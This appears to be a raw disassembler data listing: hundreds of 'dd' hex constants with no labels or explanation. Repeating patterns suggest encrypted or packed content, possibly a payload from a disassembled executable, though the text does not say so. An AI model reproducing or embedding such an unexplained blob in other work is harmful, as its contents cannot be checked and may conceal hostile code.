		dd 27084264h, 6FE5C0E4h, 0CFF8C8C0h, 0B2A1B78Fh, 0E277E434h
		dd 0BE324D91h, 0EC7C57D6h, 0E5F00D5h, 4C547144h, 7041C2B1h
		dd 0F7D7F15Eh, 0F4DAF259h, 0A3763EA6h, 0D2CE29DDh, 0EABD85D6h
		dd 62B04336h, 0B63A49A4h, 0F37FFD7h, 0E202DB37h, 0F0B57E7Fh
		dd 0D2CE9C08h, 0D6F73A0Bh, 8DD2B7F6h, 0CAD8E781h, 93CD04F9h
		dd 3D157BF0h, 6549Eh, 60564200h, 6B4B43E8h, 69515EE5h
		dd 6D7158E7h, 6C6A54E3h, 0CEA2D1FCh, 0C956FAC0h, 0C956FAC2h
		dd 0C76CFCDCh, 5A6FE1C5h, 7EDBAD08h, 0ADD8C69Fh, 197D35FDh
		dd 0C0F42360h, 0C0D3F0FEh, 589BE4CAh, 0F0D8C725h, 0D359DEEh
		dd 0F6C4EA22h, 0DEF35497h, 22C960B3h, 0CA29091Dh, 99A62879h
		dd 9AA1AF8Fh, 314EACB2h, 0C8F0DABBh, 39892670h,	185BE6F3h
		dd 0B7442EBFh
		dd 0A55AABCCh, 7020C038h, 0D2C398B0h, 0C0000005h, 0C16EE2D4h
		dd 0DC6BE5C5h, 0DE65EBD3h, 0DA61EFCFh, 5362EEECh, 74424C24h
		dd 74404FD4h, 7E5E4FD4h, 634345D2h, 2F8ADCEDh, 0C69F7E59h
		dd 27F2B5Ah, 12A72FEEh,	0C960798Ch, 0CF507A4Bh,	4ED1F9DDh
		dd 323E7D5Dh, 3F032365h, 1494CA0h, 8AEE17B4h, 1BB39CCCh
		dd 1E321434h, 0EB371731h, 557D20CCh, 908B95ADh,	132D0952h
		dd 0C56277D0h, 1667C289h, 0A4E8669h, 0EDEE4A76h, 555h
		dd 0E967575Dh, 0E66A4842h, 0E0685059h, 0FC6C705Bh, 0FD536B57h
		dd 0C1C9A1D0h, 0DDC857F9h, 0C3C857F9h, 0C6C66DE3h, 95968E0h
		dd 9F7FC4ACh, 0FAACDFC6h, 5F4A7A52h, 0E7CA237Fh, 68B687A7h
		dd 27290D1Fh, 0E9E1A448h, 5CF0EFCCh, 479BE4C9h,	92EC02F2h
		dd 335774C6h, 0F27CB729h, 279561h, 2D10000h, 0FFA72FEEh
		dd 6547A50h, 8A63C427h,	0A7C95CFEh, 0CFB50856h,	0B9C692FEh
		dd 74ECF492h, 5061F272h, 107h, 206A3512h, 8EED3C02h, 993C69A3h
		dd 0C375E217h, 0ACF2C32Ch, 1B675743h, 84DAFC2Ch, 675391BBh
		dd 0D1220B57h, 0E6A55A7Fh, 33BC375h, 0AEE4BF7h,	8AE9C463h
		dd 87ACBC82h, 629A185h,	0F0D92505h, 0BE324DB5h,	0A3AD13A6h
		dd 4BA6C375h, 0C32C7D41h, 0BE1BC38Bh, 0C375A3CAh, 0DCBDF8C9h
		dd 0C95CB06Bh, 577756F9h, 4248A714h, 0B2C8B005h, 0FACBC692h
		dd 227455A9h, 26B26B01h, 0E967B0D6h, 973FDE12h,	0B8AD1702h
		dd 0DBF3DCCCh, 29328613h, 60AFC8A5h, 56270654h,	0D32F2F1Bh
		dd 4AA9FAh, 83CBF33Fh, 13DC92ABh, 5DBD3D20h, 0AB71703Ah
		dd 353B7A4Bh, 8C744109h, 87C8A54Fh, 2E1877B6h, 0A59A7328h
		dd 0FE5A701Eh, 408DDh, 34020E00h, 3F1F0F14h, 3D1D0A11h
		dd 21050413h, 2016002Fh, 0BAEE8528h, 0B5824E8Ch, 0B5824E8Eh
		dd 0B398B090h, 169BB599h, 7C9719BCh, 61ACC69Fh,	216A3509h
		dd 0C3CF2201h, 0DECE55FBh, 2B050F8h, 0FFA72FEEh, 0A506650h
		dd 8667C023h, 0A3C95CFEh, 0F5C07852h, 973C6E30h, 0EA4FB3F2h
		dd 0C692420Ah, 212BAF7Ch, 61F1EEAFh, 0BD9Dh, 7A522900h
		dd 0F15E0654h, 9ABCECCAh, 0D9147549h, 0B08ECCFAh, 75E608CDh
		dd 0EBD9F3C3h, 9EB283A3h, 6BB797B1h, 0D5FDA04Ch, 5CF547C0h
		dd 0B95DD5C9h, 30629411h, 634C017Ch, 3BDA16EDh,	5F7A0693h
		dd 2879CCB8h, 0D09199A6h, 0A49E73C5h, 1F2E70C8h, 1A4FA4C1h
		dd 17A22475h, 0C8A423A1h, 0C80051A2h, 9A073763h, 701FBA8Bh
		dd 2ED08BA7h, 64000003h, 65321E38h, 60CF0121h, 62C90737h
		dd 7EC50B2Bh, 0FFC60A30h, 90A690C8h, 90A493B8h,	9ABA93B8h
		dd 9FBFE9B6h, 435670B1h, 0C69F7DFDh, 52D387F6h,	0CAFA5664h
		dd 0E2C1B702h, 515CC375h, 684B9465h, 0AB230305h, 0D60B093h
		dd 0A487BB4Fh, 7D35F8A8h, 0B5C9C81h, 0E7CA29C3h, 442288A5h
		dd 6CB290BAh, 52EFC51Dh, 39258B2Eh, 0ED3EC375h,	676FB39Ch
		dd 8EEDF1D8h, 8B4569A3h, 0C62A610Ah, 4D2A8FC7h,	4AC95C31h
		dd 5B415679h, 0DE624CBAh, 935B7312h, 63BF9F8Ch,	0BD4E2B0Ah
		dd 3A6341BFh, 0F6FA95E9h, 0E03E1E09h, 6E16B889h, 0E5A052D6h
		dd 45A03284h, 6446FDE4h, 0EB200F79h, 0CAEFF7CBh, 769B7666h
		dd 0E0C32C7Dh, 8164CB13h, 0B9AA75E9h, 1BBE6668h, 769BD695h
		dd 541E5DAEh, 53FDC1CBh, 3DE2C4C4h, 1A3C2CF8h, 427368C0h
		dd 70000002h, 71DE7244h, 4CDB7555h, 4ED57B43h, 4AD17F5Fh
		dd 0C3D27E5Ch, 84B2FCB4h, 84B0FF44h, 8EAEFF44h,	0F3D3F542h
		dd 5F7A6C5Dh, 0C69F42E9h, 52CFBBEAh, 6906547Ah,	0C88283h
		dd 740F6F28h, 1119A5BDh, 3C9DD829h, 0C95C160Fh,	89B59BE4h
		dd 60437BA6h, 4BA1EABBh, 0F03F004Ah, 413782C4h,	42C69DE4h
		dd 1DB83271h, 0CCB4ECA0h, 0EACAC36Ch, 8576B594h, 348415B4h
		dd 0F18BCB5Fh, 65B01AFBh, 1006DD4h, 0AF8F9ED1h,	0D5297A53h
		dd 7F5736BAh, 0AFA2FFB7h, 6CCCF8BBh, 5221A811h,	51A20724h
		dd 0CEF6D679h, 0A6AAFBC3h, 0F2AF8F99h, 387C8037h, 8EBC1F3Bh
		dd 84000001h, 8592BE98h, 80AFA181h, 82A9A797h, 9EA5AB8Bh
		dd 1FA6AA90h, 30063068h, 30043318h, 3A1A3318h, 3F1F0916h
		dd 0E3369011h, 0C69F421Dh, 52B3E716h, 6906547Ah, 70C88283h
		dd 4451860Eh, 0C3750FFCh, 305CA6F7h, 0AF2706D1h, 5CF42D0Ah
		dd 0C6C72AC9h, 5ABB95E6h, 28ED038Ah, 0FFA613A6h, 4293CCBBh
		dd 0CDF8470Fh, 1954B589h, 0A6D228B0h, 86876577h, 982C04CCh
		dd 0CA9F1773h, 0DA63C427h, 2E0D9C1Ch, 0DA201801h, 0F2C3B0F3h
		dd 38DD13ACh, 665C0396h, 0C41503C8h, 426BBD82h,	4B9D4DA2h
		dd 361A6B2Bh, 621F3F69h, 34E0BEB1h, 0DEC299B1h,	0D4000000h
		dd 0D562EEE8h, 0D07FD1F1h, 0D279D7E7h, 2E75DBFBh, 0AF76DAE0h
		dd 60564018h, 605443E8h, 6A4A43E8h, 6F4F59E6h, 3386C0E1h
		dd 0C69F434Dh, 52635746h, 6906547Ah, 0EDC88283h, 0C95CE7C4h
		dd 0B34880D1h, 0A376583Dh, 0CC877CE7h, 775FA38Ch, 81DDE128h
		dd 60B189B6h, 85DBE21Eh, 0E1DC5CE8h, 94B49AB2h,	11B99D8Fh
		dd 73665219h, 0A6855F31h, 3F87E558h, 0EA221148h, 8289F6C4h
		dd 0E3A864BAh, 0F5945BE7h, 715577D5h, 765870DFh, 0BF01945Ch
		dd 0B4A1813Fh, 0C936086Bh, 2CD4FEDEh, 813F2789h, 90D33CA1h
		dd 39410AAEh, 0B39DA1EBh, 2F8BA4E4h, 0F694B6EBh, 0A315A02Ah
		dd 0A0A18195h, 0E34C0657h, 160483AAh, 2E673E39h, 4DA881DDh
		dd 0D7C26D75h, 4AD791EEh, 0F5C67080h, 337B6h, 23630000h
		dd 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh
		dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh,	0A06802E4h
		dd 8900005Dh, 89502404h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 0EC812434h, 4, 83240489h, 0C8904ECh,	97A1B924h, 0CE8905EAh
		dd 22D46859h, 24890000h, 24048124h, 4, 89515558h, 59CD89F1h
		dd 5D086889h, 5224048Bh, 0C281E289h, 4,	4C281h,	14870000h
		dd 348B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 0FCDA6EE9h, 89B836FFh, 305EAA2h, 0BDE0FFC5h,	5E1B5EB5h
		dd 0F17E2E0Eh, 8D4EE462h, 9F4FDDE1h, 2A3D955Fh,	1727E09Ch
		dd 454DED60h, 691EDD5Bh, 0ED7DC781h, 2C2DCB39h,	0B01B8BCCh
		dd 0EB554D8Dh, 0C0000039h, 0C002CC00h, 0C002E400h, 0
		dd 0F1A90B00h, 0E8A5F847h, 0F9ADB676h, 0F2A99822h, 0F8EE9A4Fh
		dd 0D2C0974Eh, 0D08CB976h, 0D3B4B022h, 0C8AE1A52h, 0FDA5CD4Ah
		dd 17A0DF46h, 0CCC085E2h, 9CC0F4CAh, 5F98DB22h,	0B884747Ah
		dd 0B8847F26h, 9CC06526h, 5F90FF22h, 7F61321Eh,	0FC026B0Fh
		dd 9C43F842h, 17C0FB22h, 53419CFCh, 0C12E9EC4h,	1F0BF543h
		dd 7BCDC69Fh, 95B5DF27h, 80D552A1h, 0E8C0F2C5h,	1793AB3Bh
		dd 987945E2h, 1949FE22h, 99276CF7h, 36F422AFh, 4F3FDACBh
		dd 2143B779h, 9927EB37h, 0CCD78F22h, 98794571h,	1949FE22h
		dd 99276CF7h, 3BE322AFh, 4F3FDACBh, 9CAAB779h, 9CC31F74h
		dd 0C2E0FB22h, 0E849A3E1h, 0D841FA06h, 9CDD7B06h, 0CA86BF22h
		dd 73DD05E1h, 2873585Fh, 0AD0B9D28h, 7BF2969Fh,	0E9757427h
		dd 17C51902h, 0CEC015E2h, 9CC0BCCAh, 5F9AFF22h,	0B8946678h
		dd 0B8847626h, 9CC0EC26h, 5F92BF22h, 1C623AB6h,	5A38F444h
		dd 7BC746A7h, 9CAA8927h, 9CC30771h, 0C7E0F722h,	0C049A0E1h
		dd 0D841F906h, 9CD9FA06h, 0CF837F22h, 63EFAAE1h, 0FA47D99Bh
		dd 1491EA9h, 9927E553h,	9CC0FFCAh, 3478AF22h, 9CD116BEh
		dd 911C7F22h, 0CC908889h, 58A84571h, 0B6788614h, 25920258h
		dd 0FAF89208h, 1672AD7Bh, 98E4BAA9h, 17937FA9h,	0D849E6E8h
		dd 2AA0DB06h, 624B8F10h, 9CC0FCCAh, 777A9822h, 4B871331h
		dd 61E7C6ACh, 0C4A11E7Ch, 6332002Dh, 7BED1A97h,	9955E627h
		dd 11C5102Bh, 76B998A7h, 0CDC09727h, 9CC0FDCAh,	5F995F22h
		dd 0B88C367Bh, 0B8845E26h, 9CC0F226h, 5F91B622h, 90E08514h
		dd 8B260384h, 23CFA453h, 151080ECh, 7BF27AB7h, 0F6C4B527h
		dd 9F28B922h, 0BCC0F722h, 159E387Ch, 1DC4D956h,	85C4DA66h
		dd 0DAC07F22h, 15C77C74h, 4B5E4DEEh, 9CC0EBCAh,	9CD0F722h
		dd 10CFAC22h, 9CC0FD27h, 0C9B60A98h, 17902524h,	17C49B66h
		dd 8A46D022h, 74C0EF22h, 9CC0F72Fh, 0EA42ED02h,	6E27FC35h
		dd 1492D1D0h, 544B195Ah, 0B884367Bh, 23A6BF26h,	7590EFFAh
		dd 9CC0F729h, 5406FE7h,	26017B2Fh, 0C7483693h, 75392743h
		dd 9CC0BF28h, 9EAF2C1Bh, 0B1DB5465h, 67A8B8AEh,	17796D8Eh
		dd 0B8C47CF1h, 0DAA9ABD3h, 74957F48h, 9CC0BF21h, 0C1038202h
		dd 98E483ABh, 98E4B3A3h, 9CC0FB3Ah, 5303A867h, 0F424BA0h
		dd 0FCA6AEA2h, 9CC0ADCBh, 194C1C22h, 0E3849EFBh, 27EF66B5h
		dd 0A0ECE241h, 0FA463EBDh, 0F6A136A9h, 0A54DF622h, 63C55810h
		dd 0D945F6F2h, 0CBC5082Bh, 0A9757C72h, 0C2C51C26h, 0D845747Dh
		dd 0F6C51481h, 9F282822h, 0BCC0BF22h, 159F1C7Dh, 1DC4CB5Eh
		dd 84C4D366h, 0DBC0FB22h, 7F6D3E75h, 17CF523Bh,	9938F4F3h
		dd 9CC0BDEEh, 3F885AABh, 5C43EAC8h, 0D0457E3Ah,	0AFC51181h
		dd 9E2C44E2h, 3633FE22h, 0B6F1F213h, 8F29BAC5h,	23C0DF22h
		dd 0B24DA9C4h, 0FBB02F71h, 0ABAE7AE8h, 0CB6DD73Fh, 1906FB24h
		dd 992778DBh, 0F4133561h, 609D7B1Ch, 12CFBD72h,	9CC0F721h
		dd 933B7044h, 9F4AF213h, 0FAC0FE22h, 0C49A8DA9h, 0FCE48BA3h
		dd 0F6A0E5EDh, 9F28BF22h, 0BCC0F722h, 1598387Ah, 1DC4D966h
		dd 85C4DA66h, 0DCC07F22h, 3D5B7C72h, 659C2D63h,	0B0815A11h
		dd 293FF2C5h, 9927D6E7h, 0BAF940A9h, 194DFBC5h,	992A0641h
		dd 1716082Dh, 0F61020F2h, 9F28BC22h, 0BCC0F722h, 159B3879h
		dd 1DC4D97Eh, 84C4DA66h, 0DFC07F22h, 5CEA7C71h,	1539B9E4h
		dd 7BEEDAA7h, 1C9A427h,	9927D023h, 4D45707Dh, 65C51901h
		dd 9E05FAABh, 11C1BAC5h, 9927F24Fh, 9B396AE4h, 0F693F2C5h
		dd 9F28AC22h, 0BCC0FD22h, 159F3D7Dh, 1DC45B5Eh,	8AC49B66h
		dd 0DBC0DF22h, 0E8CC2C75h, 9CC41F27h, 0D418FB22h, 0FC900193h
		dd 0CE900FA8h, 0C49A4E2Dh, 1790E143h, 0FCC4FB66h, 17A124A9h
		dd 0FC92A722h, 93A19A42h, 0FC7F9B13h, 1598A46Eh, 17C45B66h
		dd 9CAAE7DBh, 9CC33773h, 0C5E0EF22h, 0D049AEE1h, 0D841FF06h
		dd 9CDDF906h, 0CD81FE22h, 0A7326E1h, 45AE3453h,	63B63BB6h
		dd 7BED2A97h, 0CCC09D27h, 9CC0F8CAh, 5F98DD22h,	0B884777Ah
		dd 0B884FE26h, 9CC0A326h, 5F909F22h, 0CBF73782h, 0C8F9BB52h
		dd 1139708Fh, 76B99EA7h, 0CDC09427h, 9CC07CCAh,	5F999F22h
		dd 0B88C567Bh, 0B8846E26h, 9CC0E126h, 5F91BA22h, 7595E9B0h
		dd 9CC0FE33h, 51052F5h,	961C7CDFh, 0C9DCC980h, 0F95DF05h
		dd 0F61008C4h, 9F28A922h, 0BCC0FD22h, 159A3D78h, 1DC45B76h
		dd 89C49B66h, 0DEC0DF22h, 0F1832C70h, 0E77B4844h, 86DD7EABh
		dd 9CAAF8C5h, 9CC31675h, 0C3E07F22h, 0E049E0E1h, 0D841DB06h
		dd 9CD8EB06h, 0CB87F722h, 0A4179AE1h, 2AA0D104h, 7B307F69h
		dd 0FDDD96ADh, 9CC0AECBh, 0E3FC5322h, 7114D87Dh, 4DE8498Bh
		dd 33E19861h, 1906331Ah, 9927F9DBh, 0CCC01571h,	9CC0BCCAh
		dd 5F98FF22h, 0B884667Ah, 0B8847626h, 9CC0ED26h, 5F90BD22h
		dd 747067CFh, 9CC07F26h, 44D87B91h, 17A68D72h, 17F1E0F1h
		dd 0CC98ADEAh, 0ADCFA972h, 0D84BA578h, 0CE90FA06h, 378CC144h
		dd 17A68E2Dh, 179885EDh, 654B8922h, 98E4B3ABh, 0C1914144h
		dd 639AAB7Ah, 7BED3B97h, 0CCC01527h, 9CC0BCCAh,	5F98FF22h
		dd 0B884667Ah, 0B8847626h, 9CC0E126h, 5F90BD22h, 52FF2ADBh
		dd 110BEC8Ah, 76B9DCA7h, 9A42D027h, 0B5C0EF22h,	7BDB72BFh
		dd 0F6100427h, 9F28AC22h, 0BCC0FE22h, 1599BC7Bh, 1DC49B6Eh
		dd 84C4FB66h, 0DDC0EF22h, 9CB73473h, 64665631h,	9A4560ABh
		dd 1949FBC5h, 9927524Bh, 982502A9h, 1906DAC5h, 9927E8DBh
		dd 7155DE65h, 74C51C24h, 9CC0FD26h, 2B1E238Bh, 0FA922972h
		dd 0C559509Dh, 0B884547Ch, 9B798926h, 0FCC07C52h, 5E4B9D71h
		dd 0FA92AD78h, 0ADCF28A9h, 0C49A6A93h, 0B8843643h, 93928F26h
		dd 9CC0EAA7h, 8B3B4D22h, 0ADCFE159h, 0ABD54244h, 0F698A678h
		dd 9F282E22h, 0BCC0BF22h, 15991C7Bh, 1DC4CB6Eh,	81C4D366h
		dd 0DDC0FB22h, 0EC303E73h, 9901CEDh, 7462A379h,	597540DEh
		dd 0F6C5380Fh, 9F28BA22h, 0BCC0F722h, 159D387Fh, 1DC4D94Eh
		dd 80C4DA66h, 0D9C07F22h, 0E2E07C77h, 2847E9C8h, 0CB278F6Ch
		dd 9CC6742Dh, 294BFB22h, 9927CDEBh, 0F57D757Bh,	11C59834h
		dd 76B9DCA7h, 0CAC0B527h, 9CC0ECCAh, 5F9ED722h,	0B8B4727Ch
		dd 0B8847C26h, 9CC0E726h, 5F963922h, 195B0A17h,	4679C21Ch
		dd 6381BD1Fh, 0C17D7CF2h, 15C51C27h, 7BC2D0A7h,	0CBC09427h
		dd 9CC07CCAh, 5F9F9F22h, 0B8BC567Dh, 0B8846E26h, 9CC0EE26h
		dd 5F97BC22h, 0AD665487h, 294B44F1h, 99277FF3h,	9CC0ABCBh
		dd 4F0DC522h, 35361114h, 4EB1E833h, 6A74F43Ah, 34A05475h
		dd 654538C7h, 0DBC59825h, 2E7909Dh, 0B957B75Eh,	9429C5D5h
		dd 0F8C0F722h, 71472E47h, 1DEC05A8h, 7623DA26h,	6E7E29C6h
		dd 63DFE855h, 7BED1A97h, 0FA0F6427h, 11C6809Bh,	76B998A7h
		dd 0C9C09727h, 9CC0FDCAh, 5F9D5F22h, 0B8AC367Fh, 0B8845E26h
		dd 9CC0FB26h, 5F95B222h, 63D44A64h, 0CBC097F2h,	9CC0FDCAh
		dd 5F9F5F22h, 0B8BC367Dh, 0B8845E26h, 9CC0F726h, 5F97B022h
		dd 7F54455Fh, 0E5557494h, 75C51920h, 9CC07F2Fh,	0EE96343Bh
		dd 0F7D6F4FEh, 0CEA0DCDBh, 31457E41h, 0F6C51C27h, 9F28A822h
		dd 0BCC0FE22h, 159DBC7Fh, 1DC49B4Eh, 86C4FB66h,	0D9C0EF22h
		dd 0C5F83477h, 12F0C11Eh, 65453B21h, 0DBC51925h, 74917F48h
		dd 9CC0BF21h, 0C5038602h, 98E4A3ABh, 98E4B3A3h,	9CC0FB39h
		dd 8D03AC63h, 4C9239D7h
		dd 227812B6h, 97B0AB11h, 48E3FB4Ah, 504A8FE5h, 0FD177C44h
		dd 0E5E4CFA3h, 0F6ADE43Dh, 9F28AF22h, 0BCC07F22h, 15997C7Bh
		dd 1DC4FB6Eh, 88C4CB66h, 0DDC0F722h, 0FA603873h, 0FA86529Ch
		dd 63889098h, 7BEDBA97h, 0F14D3427h, 11C53839h,	76B98CA7h
		dd 0CDC09D27h, 9CC0F8CAh, 5F99DD22h, 0B88C777Bh, 0B884FE26h
		dd 9CC0AB26h, 5F919E22h, 0F61010C1h, 9F28A522h,	0BCC0FB22h
		dd 159A3E78h, 1DC4DA76h, 81C45B66h, 0DEC0BF22h,	0BB7A1C70h
		dd 44BD394Dh, 424637C8h, 9CC0F3CBh, 0C007C222h,	7699609Eh
		dd 90477095h, 93C0BF22h, 9CC0D9A6h, 0F17D6622h,	15C5100Fh
		dd 7BEE8AA7h, 9246F227h, 75C0FE22h, 9CC07F2Bh, 2B2EFC64h
		dd 0D3820948h, 0E94D66D4h, 63C5102Ah, 5577F4F2h, 9CCA1442h
		dd 72AFE22h, 0A3AAD9A2h, 0C6E4A526h, 8A514AABh,	15A1EAC5h
		dd 7BC076A7h, 0CDC09127h, 9CC0FECAh, 5F99DE22h,	0B88CF67Bh
		dd 0B8843E26h, 9CC0C326h, 5F91AE22h, 0F688DB67h, 4C140723h
		dd 444C9BE4h, 0F6C4DADBh, 9F282D22h, 0BCC0BF22h, 159A1C78h
		dd 1DC4CB76h, 89C4D366h, 0DEC0FB22h, 75523E70h,	18CF3E28h
		dd 9CC07DDDh, 9C352AABh, 1906DAC5h, 9927E8DBh, 0CCC09D6Dh
		dd 9CC0F8CAh, 5F98DD22h, 0B884777Ah, 0B884FE26h, 9CC0AB26h
		dd 5F909F22h, 527FE087h, 4CB4699Dh, 9CC41376h, 0F004FD22h
		dd 179041A2h, 0CFC45B66h, 9B7BD942h, 733F641Fh,	0C5A1E3AAh
		dd 1BCFF7A9h, 9CC0FB22h, 98E4B9ABh, 0CCC0947Ah,	9CC07CCAh
		dd 5F989F22h, 0B884567Ah, 0B8846E26h, 9CC0E126h, 5F90BB22h
		dd 0FCAE3B5Ah, 0CD00492Dh, 9FA9CAA9h, 0FD9BBAC5h, 9CC0D4CBh
		dd 25C66C22h, 0FE69AECDh, 0B66269h, 0B10548DDh,	194DFBC5h
		dd 992A0641h, 9E2102A9h, 4C3FDAC5h, 7490EF48h, 9CC0F721h
		dd 0C403A302h, 98E4B9ABh, 98E4BAA3h, 9CC07F39h,	9603EF62h
		dd 0D0559CE1h, 0FA22CE0Eh, 5C430FA9h, 577FF406h, 0BC2578ABh
		dd 7593FBC5h, 9CC07F2Fh, 0F6ADA1E4h, 0F50BFC96h, 0ABD44B19h
		dd 194BA951h, 9927FBA3h, 17177644h, 7BEE8FBFh, 2BCF1F27h
		dd 0FD580DDCh, 0CAC0B561h, 9CC0ECCAh, 5F9ED722h, 0B8B4727Ch
		dd 0B8847C26h, 9CC0E326h, 5F963922h, 0A1B8DC2Eh, 0DFA1EBC3h
		dd 874BE451h, 7496F748h, 9CC0FB21h, 0C203A302h,	98E48AABh
		dd 98E43BA3h, 9CC0BF34h, 62038964h, 1495842h, 9927E1BFh
		dd 874BE0A9h, 7491FD48h, 9CC0FE21h, 0C5032602h,	98E4F3ABh
		dd 98E49BA3h, 9CC0EF34h, 2B03A663h, 11494420h, 9927FFE3h
		dd 17A62611h, 1D5DF6D9h, 75C5580Ch, 9CC0DF2Ch, 0B3D136C7h
		dd 1B68C519h, 975100A4h, 90299F5Bh, 15C0FE22h, 8382F9CEh
		dd 6C60AF9Ah, 5AE5A3E3h, 7BC716A7h, 93A0B027h, 5F402895h
		dd 98289C5Ch, 35C0FE22h, 2677A1FFh, 0B24BAE7Bh,	66E6572h
		dd 0D84BE09Fh, 22A6F306h, 9C4B759Fh, 0FD377742h, 98E4BAABh
		dd 0C437F444h, 1690544h, 0B1056ADDh, 9C9EAC5h, 9927FB4Bh
		dd 0E5A37EAFh, 9CAAF8C8h, 9CC31670h, 0C6E07F22h, 0C849E5E1h
		dd 0D841DB06h, 9CD5EB06h, 0CE82F722h, 0CE96E3E1h, 0AEB148ABh
		dd 0FA9EFBC5h, 436790A3h, 21E96FDDh, 9927FDFBh,	19493AA8h
		dd 9927F50Fh, 9CC6732Dh, 94BFD22h, 9927FD5Fh, 0CDC01562h
		dd 9CC0BCCAh, 5F99FF22h, 0B88C667Bh, 0B8847626h, 9CC0EE26h
		dd 5F91BC22h, 7E407A64h, 0F6C0F424h, 9F28E922h,	0BCC0DF22h
		dd 159E2C7Ch, 1DC4D356h, 88C4DF66h, 0DAC0FD22h,	17233D74h
		dd 0CEC01522h, 9CC0BCCAh, 5F9AFF22h, 0B8946678h, 0B8847626h
		dd 9CC0E226h, 5F92BF22h, 0C992AF1h, 25A652A8h, 19CF1CE4h
		dd 9CC0DF22h, 9E3952ABh, 1949F2C5h, 9927F36Bh, 9CC0ECCBh
		dd 9D490C22h, 0A5BF7943h, 0C0815CF7h, 1B97ABB4h, 61294BBDh
		dd 0F6C0F722h, 9F28AD22h, 0BCC0FD22h, 159E3D7Ch, 1DC45B56h
		dd 8AC49B66h, 0DAC0DF22h, 88252C74h, 9CCD1EB4h,	61C9FB22h
		dd 0CD8FAED1h, 25464BCCh, 1183174Dh, 7663D5A7h,	0CDC0B527h
		dd 9CC0ECCAh, 5F99D722h, 0B88C727Bh, 0B8847C26h, 9CC0E726h
		dd 5F913E22h, 0ABACCD64h, 114BE979h, 9927C417h,	156D4672h
		dd 2949DF26h, 9927FB6Fh, 0AD396BDDh, 9CAA7AC5h,	9CC35774h
		dd 0C2E0DF22h, 0E849B1E1h, 0D841F306h, 9CD8FF06h, 0CA86FD22h
		dd 0BBA18EE1h, 2149E37Eh, 99278D3Fh, 9CC2512Dh,	544BEF22h
		dd 3FB06AAFh, 9CAAFEC8h, 9CC31575h, 0C3E0FE22h,	0E04920E1h
		dd 0D841BB06h, 9CD5DB06h, 0CB87EF22h, 152AA5E1h, 7BCB5AA7h
		dd 0C72AD27h, 1DE4E2ABh, 16DCA0CBh, 94292F5Ah, 23C0DF22h
		dd 0EC15DB57h, 0CC140D98h, 9CC27B2Dh, 6E4BFD22h, 0FD5501B2h
		dd 95C5982Dh, 7BC77A9Fh, 79455627h, 60C50802h, 9B3972E4h
		dd 0F693FEC5h, 9F28AB22h, 0BCC0FE22h, 159EBC7Ch, 1DC49B56h
		dd 8AC4FB66h, 0DAC0EF22h, 6C423474h, 9CC413D1h,	18BFFD22h
		dd 17A654A5h, 0C3922FD2h, 98E4FBA9h, 9CC05E2Dh,	9C4BEF22h
		dd 0CEFC4D44h, 98E4BFABh, 0C4337644h, 9CC0F0CAh, 85146C22h
		dd 9320021Dh, 0D919EEAEh, 0FA473F19h, 639F21A9h, 7BED3E97h
		dd 0ED557427h, 93C51913h, 9CC07AA7h, 5541D922h,	194DDD64h
		dd 992A9641h, 4C3F20A9h, 7492FB48h, 9CC0FD21h, 0C603A402h
		dd 98E42BABh, 98E4FBA3h, 9CC0DF3Bh, 0FC03BD60h,	0F8D99CD4h
		dd 767E9D89h, 0DD45740Fh, 0F6C51922h, 9F282F22h, 0BCC0BF22h
		dd 15981C7Ah, 1DC4CB66h, 84C4D366h, 0DCC0FB22h,	4E8F3E72h
		dd 750F1574h, 9CC07F33h, 5B4525CCh, 1616BD00h, 964E7691h
		dd 4727672Eh, 8943F4D5h, 75C0FD22h, 9CC0FE32h, 6D346871h
		dd 0AC64E8E9h, 0E15D16Ah, 161E194Fh, 9B3972E4h,	0F687FEC5h
		dd 9F28AC22h, 0BCC0FE22h, 1599BC7Bh, 1DC49B6Eh,	85C4FB66h
		dd 0DDC0EF22h, 0B8D23473h, 0CE4A4470h, 9CC0F9CAh, 0EED56E22h
		dd 5E4B1F83h, 9390EF43h, 9CC0DAA5h, 0E73F5022h,	179987B4h
		dd 25C4DF66h, 0E2C324E4h, 534BFEA9h, 98E43BABh,	9CC0B0CAh
		dd 72B1FC22h, 0F729A6B7h, 0D4375AE8h, 55FB876Dh, 9CC0F4CBh
		dd 25260622h, 1B3B03ADh, 0C49A9D81h, 998D5AABh,	293FEAC5h
		dd 9927DAE7h, 7492FB48h, 9CC0FD21h, 0C603A402h,	98E42BABh
		dd 98E4FBA3h, 9CC0DF3Fh, 903BD60h, 0E2C99C24h, 0CB6FFD33h
		dd 0FF4570BAh, 0F6C5145Bh, 9F282A22h, 0BCC0BF22h, 159D1C7Fh
		dd 1DC4CB4Eh, 81C4D366h, 0D9C0FB22h, 0F6583E77h, 13485113h
		dd 0E99E66F7h, 4C3F46A9h, 9CC0D4CBh, 74B8322h, 0D8166321h
		dd 0A3F50078h, 0B8BD78ABh, 9CAAFBC5h, 9CC39772h, 0C4E0BF22h
		dd 0D84987E1h, 0D841EB06h, 9CD9F306h, 0CC80FB22h, 7265A9E1h
		dd 17FB7F63h, 6545B9F3h, 0CFC55825h, 7495DF48h,	9CC0EF21h
		dd 0C103AA02h, 98E497ABh, 98E4B9A3h, 9CC0FE39h,	0F4032A67h
		dd 0A3395C1h, 17BCB393h, 7BF10E9Fh, 6C77F827h, 79F8594Ah
		dd 1BCFACADh, 9CC0FE20h, 1D9F1E42h, 0FBF29B16h,	9CAAC9FEh
		dd 9CC30771h, 0C7E0F722h, 0C049A0E1h, 0D841F906h, 9CD8FA06h
		dd 0CF837F22h, 0B58568E1h, 26A62157h, 15A0BF16h, 7BC6D2A7h
		dd 415D7027h, 0FDC51A02h, 0B1054BDDh, 0BF7A7AC5h, 11B05A1Dh
		dd 76B9BCA7h, 0E17D6627h, 63C5103Dh, 0CEC091F2h, 9CC0FECAh
		dd 5F9ADE22h, 0B894F678h, 0B8843E26h, 9CC0C526h, 5F92AD22h
		dd 0ED3CBBE7h, 0CB167F13h, 98D16023h, 0CF9AFBC5h, 6975F472h
		dd 0C6C55827h, 5145567Ch, 17C50810h, 654531ECh,	0CBC51C25h
		dd 91AD68A9h, 6AA8FBC5h
		dd 0FA3F084Bh, 0A84175A9h, 0EFFB2F06h, 9CC5064Dh, 0B457F722h
		dd 6385CA42h, 7BED3897h, 0AE7E9827h, 0FF45F281h, 0F6C5555Bh
		dd 9F288F22h, 0BCC0EF22h, 1598347Ah, 1DC4DF66h,	84C4D966h
